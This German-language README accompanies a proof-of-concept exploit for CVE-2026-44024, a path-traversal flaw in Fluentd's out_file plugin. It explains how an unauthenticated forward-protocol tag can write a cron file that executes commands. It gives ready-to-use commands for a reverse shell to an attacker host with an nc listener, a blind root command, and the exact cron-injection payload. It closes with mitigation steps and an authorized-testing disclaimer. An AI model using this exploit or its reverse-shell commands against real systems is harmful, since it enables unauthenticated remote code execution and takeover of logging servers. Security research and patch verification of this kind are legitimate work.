
Proof-of-concept-Exploit für CVE-2026-44024, der mithilfe eines manipulierten in_forward-Tags beliebige Dateien über die Path-Traversal-Schwachstelle des out_file-Plugins von Fluentd schreibt und die Ausführung von Befehlen auslöst.
out_file-Plugin von Fluentd über ${tag}Authentifizierungsfreies beliebiges Dateischreiben im out_file-Plugin von Fluentd
über den Platzhalter ${tag}.
out_file ermöglicht es Betreibern, den Ausgabepfad mit einem ${tag}-Platzhalter zu templaten
(z. B. path /var/log/fluent/${tag}). Output#extract_placeholders
(lib/fluent/plugin/output.rb) setzt das Tag des Events in den Pfad ein, ohne ../ zu bereinigen
(CWE-22):
if str.include?('${tag}')
rvalue = rvalue.gsub('${tag}', metadata.tag) # Angreifer-kontrolliertes Tag, keine ../-Prüfung
Events, die über das in_forward-Protokoll (Port 24224) eintreffen, tragen ein Tag, das wortwörtlich
aus der Wire-Message übernommen wird, und allow_anonymous_source ist standardmäßig auf true gesetzt,
sodass ein nicht authentifizierter Angreifer ein Tag wie ../../../../../../etc/cron.d/pwn setzen kann,
um das konfigurierte Verzeichnis zu verlassen und als Benutzer des Fluentd-Prozesses eine beliebige absolute
Datei zu schreiben.
<= 1.19.21.19.3 (lehnt ..//absolute Komponenten im Tag ab, bevor ${tag} expandiert wird, PR #5391)in_forward, nicht in_httpin_http leitet das Tag aus dem URL-Pfad mit path.split('/').join('.') ab, was jedes /
in . verwandelt — ../ kann auf Linux also nicht überleben (und %2f wird nicht dekodiert).
Nur das forward-Protokoll (24224) übergibt das Tag byte-für-byte. Dieser Exploit spricht gerade genug
von diesem Protokoll (eine msgpack-[tag, time, record]-Nachricht) mit einem winzigen eingebauten
Encoder — keine Abhängigkeiten.
Nur die Python-3-Standardbibliothek. Das Ziel muss ein verwundbares Fluentd mit einem out_file ausführen,
dessen path ${tag} enthält, sowie eine anonyme in_forward-Quelle (Standard). Um das Schreiben in einen
sauberen Cron-Drop zu verwandeln, wird ein out_file benötigt, das Dateinamen/Inhalt nicht verändert (z. B.
add_path_suffix false, append true, kein Timekey, single_value-Format) — andernfalls kann das
Dateischreiben verwendet werden, um eine Datei mit bekanntem Pfad zu überschreiben.
# Reverse Shell (zuerst Listener starten: nc -lvnp 4444). Wird über Cron innerhalb von ~60s ausgelöst.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444
# Blind Command als Root
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'
# Benutzerdefinierter Forward-Port
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444
Sendet ein Forward-Event ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}]
an Port 24224. out_file expandiert ${tag} → /var/log/fluent/../../../../../../etc/cron.d/pwn =
/etc/cron.d/pwn und schreibt (mit einem single_value-Format) die msg des Records wortwörtlich → eine
gültige Cron-Zeile. Cron führt sie innerhalb von ~60 s als Fluentd-Benutzer aus (root, wenn Fluentd als root
läuft).
Fluentd auf ≥ 1.19.3 aktualisieren; den Forward-Port nicht ungeschützten Netzwerken aussetzen (Shared-Key-Auth
aktivieren / allow_anonymous_source false); Fluentd nicht als root ausführen; ${tag} in Ausgabepfaden für
nicht vertrauenswürdige Eingaben vermeiden.
Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.